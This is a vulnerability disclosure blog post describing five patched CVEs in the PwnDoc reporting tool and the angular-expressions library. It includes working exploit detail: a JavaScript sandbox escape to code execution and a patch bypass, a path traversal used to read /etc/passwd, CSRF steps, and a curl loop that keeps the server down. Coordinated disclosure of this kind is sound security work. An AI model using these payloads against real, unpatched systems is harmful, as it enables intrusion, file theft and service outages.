Finding 5 CVEs in the PwnDoc pentest reporting tool, angular-expressions and docx-templater. This includes multiple 1-click Remote Code Execution vulnerabilities by escaping the JavaScript sandbox in the templating engine.
PwnDoc is a pentest reporting tool allowing authenticated users to write findings and generate reports inside a web application. Tools like PwnDoc make it easier for us as pentesters to write and collaborate on reports. But what if the tool to document vulnerabilities itself contains vulnerabilities?
This blog post will describe the four CVEs (CVE-2025-23044: Cross-Site Request Forgery, CVE-2024-55602: Arbitrary File Read, CVE-2024-55652: Server-Side Template Injection, and CVE-2024-55653: Denial of Service) that were discovered for PwnDoc itself and another (CVE-2024-54152) regarding a Remote Code Execution vulnerability in the angular-expressions library used by docx-templater, and in turn PwnDoc.
All the issues in this blog post were patched in the latest version before publishing this blog post. Disclaimer: Warpnet is not responsible for any damage caused by using the provided details in this blog post. It should only be used for legal purposes.
Table of Contents
Cross-Site Request Forgery to create an administrator (CVE-2025-23044)
The most impactful vulnerabilities are the ones that require no authentication. This will be the starting point for an attacker, and so we will start here as well. Apart from the login and token endpoints, not much is accessible at this point. If there aren’t any vulnerabilities we can trigger directly here, we can also try to focus on how we can attack another already logged-in user.
One easy-to-check vulnerability is Cross-Site Request Forgery, where you abuse the fact that the browser sometimes automatically sends cookies when requesting a page. What matters here is the SameSite= attribute of the cookie, which determines in what situations the cookie is allowed to be added to a cross-site request (eg. from an attacker’s page). In the case of PwnDoc, it is set up like this:
The Set-Cookie header is missing the SameSite= attribute! This causes the following behavior:
On Firefox: The cookie is always sent in cross-site navigations, regardless of request method (GET and POST)
On Chromium: The cookie is always sent in cross-site GET navigations, POST requests are more complicated. For the first 2 minutes after the cookie was set, it will be sent in POST requests as well, but after that time it won’t anymore.
GET requests are often used to fetch data, not change it. These are not very interesting as we cannot read the response due to CORS protections. The request must be state-changing for it to have an impact, and we don’t care about the response. POST requests are common for state-changing operations like adding a new user (POST /api/users). Therefore, browsers lock this method down more than the regular GET method.
If the victim is using Firefox, we can already make it work by creating a <form> on our attacker’s page targetting PwnDoc with some hidden fields and an auto-submitting script.
If the victim is using Chromium, we would need to exploit them within the first 2 minutes after logging in, which is highly unlikely. We can do better though, as the SameSite= rule states that the cookie will be sent if it was set in the last 2 minutes. Luckily for us, there is an endpoint that refreshes the cookie: GET /api/users/refreshtoken. When this URL is visited, it will use the refreshToken cookie to set a new token cookie. This means we can start the 2-minute window any time we want by first navigating the victim to https://localhost:8443/api/users/refreshtoken. To perform it all in one go, we will create a separate popup window with this URL, and then a little later (after the cookies have been refreshed), submit the form.
One small detail is the fact that window.open requires “user activation”, otherwise the popup blocker will deny the call. This edge case and some extra logging are handled in the following exploit script:
When logged in to PwnDoc, much more functionality opens up. A simple start is to look for functions that are easy to mess up, like the fs module for File System access, which has risks of accessing files we’re not supposed to if ../ path traversal sequences are not handled correctly. One file that contains a bunch of filesystem logic is template.js. There are 5 endpoints for a classic CRUD functionality:
GET /api/templates: List all templates
POST /api/templates: Create a new template
GET /api/templates/download/:templateId: Read a template
PUT /api/templates/:templateId: Update a template
DELETE /api/templates/:templateId: Delete a template
We can read in the source code that when creating a new template, the file is stored inside a report-templates/ folder on the filesystem:
app.post("/api/templates", acl.hasPermission('templates:create'), function(req, res) {
if (!req.body.name || !req.body.file || !req.body.ext) {
Response.BadParameters(res, 'Missing required parameters: name, ext, file');
return;
}
if (!utils.validFilename(req.body.name) || !utils.validFilename(req.body.ext)) {
Response.BadParameters(res, 'Bad name or ext format');
return;
}
var template = {};
template.name = req.body.name;
template.ext = req.body.ext
Template.create(template)
.then(data => {
var fileBuffer = Buffer.from(req.body.file, 'base64');
fs.writeFileSync(`${__basedir}/../report-templates/${template.name}.${template.ext}`, fileBuffer);
Response.Created(res, data);
})
});
Our req.body parameters end up in template.name and template.ext, which are both used to create a path inside the fs.writeFileSync() function. It may look like we can use ../ in any of these parameters to write to an arbitrary location, but this is prevented by the following regular expression allowing only some common characters, not including .:
The handler blocks any inputs containing a disallowed character in either the name or the extension, so we cannot bypass this.
We have the same inputs into another function: updating a template. This handler is more complicated as it handles a few different types of updates:
app.put("/api/templates/:templateId", acl.hasPermission('templates:update'), function(req, res) {
if (req.body.name && !utils.validFilename(req.body.name)) {
Response.BadParameters(res, 'Bad name format');
return;
}
var template = {};
if (req.body.name) template.name = req.body.name;
if (req.body.file && req.body.ext) template.ext = req.body.ext;
Template.update(req.params.templateId, template)
.then(data => {
// Update file only
if (!req.body.name && req.body.file && req.body.ext) {
var fileBuffer = Buffer.from(req.body.file, 'base64');
try {fs.unlinkSync(`${__basedir}/../report-templates/${data.name}.${data.ext || 'docx'}`)} catch {}
fs.writeFileSync(`${__basedir}/../report-templates/${data.name}.${req.body.ext}`, fileBuffer);
}
// Update name only
...
// Update both name and file
...
})
});
Importantly, this function only checks the req.body.name parameter, but not the req.body.ext parameter! That means this variable may have any value, containing any amount of ../ sequences. This variable is put into fs.writeFileSync() if we don’t specify a name, so it sounds like we should be able to redirect this to any other file and write our fileBuffer to it for an Arbitrary File Write vulnerability?
Trying it, however, shows that this idea doesn’t work:
{
"status":"error",
"datas":"Template File was not Found"
}
It tries to write to the following path: /app/src/../report-templates/example./../../../../../tmp/pwned
In NodeJS, the fs. functions will simply ask the operating system to resolve the path, so what happens if we try to touch this inside the Docker container?
$ docker exec -it pwndoc-backend sh
/app $ touch /app/src/../report-templates/example./../../../../../tmp/pwned
touch: /app/src/../report-templates/example./../../../../../tmp/pwned: No such file or directory
The same “No such file or directory” error occurs. This happens because the operating system tries to follow every directory in our path. If one doesn’t exist, it stops and throws an error. The example./ directory in our path doesn’t exist because it is a combination of the existing template file and the leftover . separating it from the extension payload. There are no existing directories in /app/report-templates/, and we cannot use . in the name (or make it empty), so we cannot make this a valid path.
Interestingly, even though this failed, the database still got updated:
This means that any other endpoints that trust the data from the database will also use this malicious extension. It just so happens that the template download endpoint does exactly this, and passes the filename to Express’s res.download():
This function normalizes the path before passing it to the OS, resolving ../ sequences and creating the path /tmp/pwned. Of course, this doesn’t exist, but we can change it to /etc/passwd now that we have an Arbitrary File Read to get its contents:
One powerful feature of PwnDoc is its document templates that allow you to define how an audit is turned into a full report. Under the hood, it uses the docxtemplater library to allow templating syntax with { ... } inside of Word documents. To evaluate these expressions, the library uses angular-expressions (docs). This expression syntax is from AngularJS version 1 and effectively wasn’t sandboxed allowing an attacker with control over these templates to write and run arbitrary JavaScript code in such an expression.
Now that AngularJS version 1 is deprecated (in favor of Angular version 2+), the angular-expressions library extracted this functionality and added security checks to make them theoretically safe for malicious input (read their reasoning). You can imagine this would be a difficult task in a flexible language like JavaScript, and the ways the code is evaluated.
There are 2 modes:
Default: Parse and serialize into a Function() string to be evaluated
CSP-mode: Parse and interpret (using ASTInterpreter)
Most important for now is the first, default mode. The expression syntax is parsed into an Abstract Syntax Tree (AST), after being written into a JavaScript string to be evaluated. During this process, some code is added to check dangerous code and transparently replace values with undefined. While compiling property access, for example, is correctly uses .hasOwnProperty() to verify that the property is an “own property”. A property is an own property if it has been directly set on the object, this differentiates it from inherited properties that come from ones “prototype”. Normally, accessing an object using the obj[prop] syntax will also look for the property inside the prototype chain, where special default properties like .constructor lie. angular-expressions prevents accessing these.
When trying to exploit this expression evaluator, you may quickly think of using a global function like eval() to run arbitrary code. But global variables (called “identifiers”) are accessed on a special “scope” object empty by default. This scope is often passed as the first and second argument while evaluating the expression:
As you can see, accessing and assigning variables gets them from the scope. This is implemented here. In the code it is accessing an arbitrary property of an object, just like what was being checked before with our obj[prop] syntax. But does it also check the names of global variables that will be properties of the scope object in this way?
The Vulnerability
We will try to access the constructor property on the scope:
const result = expressions.compile("constructor")(scope, scope);
console.log({ result });
// { result: [Function: Object] }
Success! We accessed the .constructor property of the scope, which is the Object() constructor. This shouldn’t normally be possible, and we can access any other prototype inherited properties of this scope object now as well. One common trick is to reach the Function() constructor which takes a string as its first argument and creates a callable function from it. This useful gadget can be reached by accessing the .constructor property on any existing function, but here we hit a problem as we still cannot access arbitrary properties of the variables we create, only of the specific scope variable ({}).
We are only allowed to continue with something like Object by accessing its own properties. We can list them with Object.getOwnPropertyNames():
Quite a few things we can access here, but the one crucial to exploitation is getPrototypeOf(). This function takes anything as an argument, and returns its prototype. Effectively, it serves as a free .__proto__ property access on anything we want, even though it is not an own property. We can check and see what kind of own properties a prototype has. Let’s take a look at the .toString() function that every object has, and which we can access with the global variable trick:
The constructor property is now in the list of “own properties”! This yields the Function() constructor which we can give any string as its argument and call:
We now have a full exploit to execute arbitrary JavaScript code in angular-expressions. scope. is implied in the real payload, and we can make the payload do anything like executing a shell command with process.binding('spawn_sync'):
Evaluating the above expression in angular-expressions results in the output of the id command:
uid=1000(user) gid=1000(user) groups=1000(user)
This issue is relevant to PwnDoc because any user who can create/update a template can write one with the above payload wrapped in { ... } braces to evaluate it as an angular-expression. This then results in RCE on PwnDoc, as root by default when using the provided Dockerfile.
Bypassing the first patch
After reporting this vulnerability to the author of the library (who was incredibly nice to work with by the way), the patch included the following extra check inside ASTInterpreter for CSP mode:
if (base && base.hasOwnProperty(name)) {
value = base ? base[name] : undefined;
}
base is the scope variable, and name is the name of the global variable. While the check of base.hasOwnProperty(name) should only allow own properties to be set, there is one other edge case that causes an issue because the .hasOwnProperty() method is accessed on the base object, whose output is trusted. If we are able to define a global variable with the name hasOwnProperty that is a function returning a truthy value, this security check will always return true and it is vulnerable as before!
The pre-condition here is that there must be some function passed via the scope into the expression sandbox. We can then overwrite the scope.hasOwnProperty method with it and run our exploit as before:
const expressions = require("angular-expressions");
const scope = {
// Pre-condition: any function in scope that returns a truthy value
"func": function () {
return "anything truthy";
}
};
options = {
// Force to use ASTInterpreter
csp: true,
}
const result = expressions.compile("hasOwnProperty = func; constructor.getPrototypeOf(toString).constructor('return process')()", options)(scope, scope);
console.log(result);
This last vulnerability borrows ideas from the angular-expression finding explained above, as it also attacks the expression evaluator, but using custom filters defined by PwnDoc. These are used inside the template language as variable | filterName: 'filter argument' (see docs). Because all we need to exploit it is an unchecked property access, we should review these small code snippets.
While doing so, one quickly stands out:
// Looks up an attribute from a sequence of objects, doted notation is supported: {findings | select: 'cvss.environmentalSeverity'}
expressions.filters.select = function(input, attr) {
return input.map(function(item) { return _.get(item, attr) });
}
For every element in the input, it accesses a certain attribute. The _.get() function is used to do this, coming from the lodash library. It is easy to check if this allows us to access the .constructor property of any object:
> var _ = require('lodash');
> _.get(1337, "constructor")
[Function: Number]
It sure does! The Number() constructor, just like any other constructor, is itself a function. That means we can simply repeat this once more to get its.constructor property and get the famed Function() constructor which we use to evaluate arbitrary code.
We will create a simple array, access the .constructor property of all their elements twice, and then get the first index of the result. This lets us write any function and execute arbitrary JavaScript code:
When the above content is put into a Word document, saved as a template in PwnDoc, and rendered using an audit, the result will contain the output of the id command:
Another filter: translate
In an earlier issue, PwnDoc was vulnerable to a Local File Inclusion vulnerability by having a Path Traversal in the translate filter, which allows the attacker to require() an arbitrary file.
While looking at the patched code, I noticed another unchecked property access: dictionary[message]. Combine this with the custom filter named translate which calls this function, and we are once again able to access the constructor property on this JSON object. As seen in angular-expressions, this is enough to continue with only own properties to get RCE:
Issues regarding the availability of an application are often overlooked. However, if the application becomes unusable for its users, the business impact can be very high. This is why looking for vulnerabilities regarding availability can be an interesting area of research.
We stumbled upon a Denial of Service (DoS) issue when researching different requests between a low-privileged user and a high-privileged user. An authenticated user can crash the PwnDoc backend by raising a UnhandledPromiseRejection.
An UnhandledPromiseRejection occurs when a promise is rejected without an accompanying .catch() or an error handler in an asynchronous function. The following asynchronous function is implemented in PwnDoc to handle API requests to update a finding of an audit:
// Update finding of audit
app.put("/api/audits/:auditId/findings/:findingId", acl.hasPermission('audits:update'), async function(req, res) {
var settings = await Settings.getAll();
var audit = await Audit.getAudit(acl.isAllowed(req.decodedToken.role, 'audits:read-all'), req.params.auditId, req.decodedToken.id);
if (settings.reviews.enabled && audit.state !== "EDIT") {
Response.Forbidden(res, "The audit is not in the EDIT state and therefore cannot be edited.");
return;
}
var finding = {};
// Optional parameters
if (req.body.title) finding.title = req.body.title;
...
if (settings.reviews.enabled && settings.reviews.private.removeApprovalsUponUpdate) {
Audit.updateGeneral(acl.isAllowed(req.decodedToken.role, 'audits:update-all'), req.params.auditId, req.decodedToken.id, { approvals: [] });
}
Audit.updateFinding(acl.isAllowed(req.decodedToken.role, 'audits:update-all'), req.params.auditId, req.decodedToken.id, req.params.findingId, finding)
.then(msg => {
io.to(req.params.auditId).emit('updateAudit');
Response.Ok(res, msg)
})
.catch(err => Response.Internal(res, err))
});
As can be seen, .catch() is being used to handle errors when updating the finding:
At first sight, this seems to handle errors correctly. However, the await Audit.getAudit() call earlier in the code could also fail, and their errors aren’t caught in a handler. This could cause the request to fail without a proper response.
AuditSchema.statics.getAudit = (isAdmin, auditId, userId) => {
return new Promise((resolve, reject) => {
var query = Audit.findById(auditId)
if (!isAdmin)
query.or([{creator: userId}, {collaborators: userId}, {reviewers: userId}])
query.populate('template')
...
query.exec()
.then((row) => {
if (!row)
throw({fn: 'NotFound', message: 'Audit not found or Insufficient Privileges'})
resolve(row)
})
.catch((err) => {
if (err.name === "CastError")
reject({fn: 'BadParameters', message: 'Bad Audit Id'})
else
reject(err)
})
})
}
This function is making sure that the user who is requesting to update the finding is allowed to do so. By updating a finding that the user doesn’t have access to or doesn’t exist, the application raises an UnhandledPromiseRejection, shutting down the server.
After obtaining a valid JWT token by logging in as a low-privileged user, the following request can be made using curl:
Both IDs of the audit (1) and finding (2) don’t exist. The server responds with the following 502 status:
HTTP/1.1 502 Bad Gateway
Server: nginx
Content-Type: text/html
Content-Length: 497
Connection: keep-alive
<!DOCTYPE html>
<html>
<head>
<title>Error</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>An error occurred.</h1>
<p>Sorry, the page you are looking for is currently unavailable.<br/>
Please try again later.</p>
<p>If you are the system administrator of this resource then you should check
the error log for details.</p>
<p><em>Faithfully yours, nginx.</em></p>
</body>
</html>
The following output is being shown in the backlog of the PwnDoc application:
pwndoc-backend | node:internal/process/promises:392
pwndoc-backend | new UnhandledPromiseRejection(reason);
pwndoc-backend | ^
pwndoc-backend |
pwndoc-backend | UnhandledPromiseRejection: This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). The promise rejected with the reason "#<Object>".
pwndoc-backend | at throwUnhandledRejectionsMode (node:internal/process/promises:392:7)
pwndoc-backend | at processPromiseRejections (node:internal/process/promises:475:17)
pwndoc-backend | at process.processTicksAndRejections (node:internal/process/task_queues:106:32) {
pwndoc-backend | code: 'ERR_UNHANDLED_REJECTION'
pwndoc-backend | }
pwndoc-backend exited with code 0
The PwnDoc backend is recovered after a few seconds by restarting itself due to restart: always in the docker-compose.yml. However, if the request keeps being sent every few seconds in a bash loop, the backend becomes unusable until the loop stops.
while true; do
curl -vk -X PUT 'https://localhost:8443/api/audits/1/findings/2' \
-H 'Cookie: token=JWT%20eyJhbGci...ekc' \
-H 'Content-Type: application/json' \
-d '{}'
sleep 1
done
With the backend being unresponsive, the whole application becomes unusable for all users of the application.
The following API endpoints were identified to be vulnerable to the same issue.
To fix the issue, a commit adding a global error handler in version 0.5.3:
@@ -129,10 +129,16 @@ require('./routes/data')(app);
+// Global error handler
+app.use((err, req, res, next) => {
+ console.error(err.stack)
+ res.status(500).send('Something went wrong. Please contact your administrator.+')
+})
+
// Start server
https.listen(config.port, config.host)
Conclusion
This was a lesson in knowing your tools. Even pentesters can make mistakes, sometimes even more than experienced developers because we’re used to seeing vulnerable code. When handling sensitive information like vulnerability report details, always check the security of such applications. Even getting an idea of their security posture can be enough, and if you’re lucky, you’ll find a few CVEs!